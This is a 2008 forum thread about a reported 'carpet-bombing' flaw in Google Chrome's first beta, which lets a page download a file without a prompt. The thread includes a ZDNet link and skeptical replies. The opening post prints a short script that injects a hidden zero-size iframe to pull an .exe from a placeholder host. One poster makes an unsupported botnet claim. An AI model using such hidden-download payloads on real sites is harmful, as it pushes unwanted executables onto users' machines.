Do not use Google Chrome

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Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically

downloaded to the user's computer without any user prompt.

Example:

<script>

document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');

</script>

This is just insane. this should be on the news or something, im sure that right now this exploit isnt an hour old, but still. its spreading quick enough.

Careful guys

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im looking arround, bugs are appearing everywhere. i found one i think which allows a site to connect a computer to a Zombie sleeper cell net sorta for later use in DDoS attacks, jesus christ

Uh-huh... :rolleyes:

What's next, it uploads your credit card info to a cave in Afghanistan so Al Qaeda can buy Anthrax and porn?

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Uh-huh... :rolleyes:

What's next, it uploads your credit card info to a cave in Afghanistan so Al Qaeda can buy Anthrax and porn?

ehm... no.

but there is a new exploit allowing al qaeda upload anthrax through google chrome and spread it arround infidels now lol

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September 2nd, 2008

Google Chrome vulnerable to carpet-bombing flaw

Posted by Ryan Naraine @ 3:05 pm

http://blogs.zdnet.com/security/?p=1843

http://blogs.zdnet.com/security/?p=1843&tag=nl.e539

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Why, design looks like lego xD

Just curious, but might your extreme excitement and opinions on this be based in any part on a vast portion of your blog pertaining to Firefox?

lego, pokemon ball, window media player logo...the list goes on.

By the way, there is a forum dedicated to Chrome. Here is the link http://www.chrome-forums.net/phpBB3/index.php

Um...did you just create that forum?

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Of course bugs are appearing everywhere, it is a BETA. This is the first release. Can't expect it to be bug free.

Just be careful where you browse (which goes for any browser).

Something as simple and obvious as being able to silently run .exe's should have been tested internally don't you think?

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Something as simple and obvious as being able to silently run .exe's should have been tested internally don't you think?

It doesn't say the exe is being executed, it is just being downloaded so some user interaction is still required. Don't get me wrong though, I understand how serious of an issue it is.

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